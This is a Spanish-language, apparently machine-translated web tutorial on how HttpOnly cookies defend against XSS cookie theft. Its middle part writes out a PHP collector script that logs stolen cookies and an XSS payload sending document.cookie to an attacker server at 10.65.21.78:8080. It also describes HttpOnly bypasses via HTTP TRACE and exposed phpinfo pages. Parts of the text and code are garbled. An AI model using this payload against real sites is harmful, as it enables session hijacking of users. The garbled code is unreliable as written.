Red de conocimiento informático - Material del sitio web - Cómo funcionan las cookies HttpOnly con solicitudes AJAX

Cómo funcionan las cookies HttpOnly con solicitudes AJAX

Con la popularidad de B/S, generalmente confiamos en el protocolo http para completar Internet. Http no tiene estado, es decir, dos solicitudes consecutivas en la misma sesión no se entienden entre sí. por la última instancia A excepción de toda la información que la propia aplicación pueda haber almacenado en el objeto global, este entorno no guarda ninguna información relacionada con la sesión. HTTP no mantendrá la información transmitida por esta conexión para la siguiente conexión. Entonces, para transferir información entre cada sesión, es necesario utilizar cookies y sesiones, no importa cuáles sean, todas son para que el servidor obtenga un token para verificar la validez. En muchos casos, se almacena un ID de sesión en la cookie. y el servidor Si identifica al usuario, los riesgos de seguridad se ampliarán. Siempre que obtenga esta cookie, podrá obtener la identidad de otros. Especialmente cuando tiene cuentas de alto nivel, como administradores, el daño será. Genial. XSS está en las aplicaciones de otras personas. Ejecuta maliciosamente un fragmento de JS para robar las cookies del usuario.

Entonces, ¿cómo obtener el secuestro de cookies? La información de las cookies se almacena en el objeto de documento en el navegador y puede usar js para eliminar la cookie. Siempre que obtenga esta cookie, puede ser suya. la identidad de otra persona. Hablemos brevemente sobre cómo robar cookies.

El archivo PHP ck.php que recibe cookies es:

lt;?php

$cookie = $_GET['c']; >

$ip = getenv ('REMOTE_ADDR');

$time=date("j F, Y, g: i a"); ' HTTP_REFERER');

$fp = fopen('cookie.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'lt ; brgt; IP: ' .$ ip.' lt; brgt; ) ;

fclose($fp);

Coloque este archivo en su propio servidor. Por ejemplo, el servidor que construimos es: http://10.65.21.78:8080.

Luego construya la declaración XSS:

lt;scriptgt;window.open('http://10.65.21.78:8080/ck.php?c=' document.cookie. )lt ;/scriptgt;

Cuando el script se ejecuta correctamente, la cookie se enviará al archivo cookie.txt en su propio servidor. Los ataques XSS son terribles.

Dicho todo esto, parece que HttpOnly aún no se ha mencionado. ¿Qué es esto? ¡Demasiado tarde! ¡Eso es todo! ¿Cómo garantizar la seguridad de nuestras cookies? Las cookies se obtienen a través del objeto de documento. Si podemos hacer que la cookie sea invisible en el navegador, HttpOnly acepta dicho parámetro al configurar la cookie. Una vez configurada, no será visible en el objeto de documento del navegador. .

El navegador no se verá afectado de ninguna manera cuando navegue por la web, porque la cookie se enviará en el encabezado del navegador (incluido Ajax) y la aplicación generalmente no operará estas cookies confidenciales en JS. Para algunas cookies confidenciales, utilizamos. HttpSolo para cookies, y no configuramos algunas cookies que deben operarse con JS en la aplicación. Esto garantiza la seguridad de la información de las cookies y de la aplicación.

El encabezado para configurar la Cookie para el navegador es el siguiente:

Set-Cookie: =[; =]

[; =]

[; ruta=][; seguro][; HttpOnly]

Verdadero si la cookie tiene el atributo HttpOnly y no se puede acceder a ella a través del script del cliente; El valor predeterminado es falso.

Sin embargo, también podemos ver que HttpOnly no es una panacea. En primer lugar, no puede resolver el problema de XSS. Aún no puede resistir los ataques de algunos piratas informáticos pacientes. Apareció, pero se ha elevado el umbral de ataque. Al menos no todos los script kid pueden realizar ataques XSS, y otros métodos de ataque no son tan comunes como el robo de cookies debido a algunas limitaciones ambientales y técnicas.

HttpOnly también puede explotar algunas vulnerabilidades o configurar Bypass. El problema clave es que solo necesita recibir el encabezado de cookie enviado por el navegador. Por ejemplo, el ataque Http Trace que apareció en el pasado puede hacer eco de las cookies en su encabezado. Este ataque se puede completar usando Ajax o flash. Este método también se ha parcheado en Ajax y flash. Otro ejemplo notable de una posible omisión en la configuración o aplicación es phpinfo. Todo el mundo sabe que phpinfo hará eco del encabezado http enviado por el navegador, incluida la información de autenticación que protegemos, y esta página a menudo existe en varios sitios, solo use ajax para obtenerla. la página phpinfo y saque la parte correspondiente del encabezado para obtener la cookie. Las imperfecciones en algunas aplicaciones también pueden provocar la filtración de encabezados. Este método de ataque también puede atacar páginas protegidas mediante autenticación básica.

HttpOnly es compatible con IE 6 y superiores y versiones más recientes de Firefox, y se usa ampliamente en aplicaciones como Hotmail y ha logrado resultados de seguridad relativamente buenos.

Entonces surge el problema. Piénselo: HttpOnly se utiliza principalmente para restringir la lectura de cookies por parte del programa de script del lado del navegador. De hecho, el navegador implementa la restricción a través del protocolo. No eres tan estúpido. Definitivamente no usarás el protocolo HTTP para leer cookies. Definitivamente necesitarás escribir un programa de captura de paquetes a nivel de socket, lo que equivale a escribir una aplicación inferior a IE6.

Entonces, HttpOnly no es omnipotente.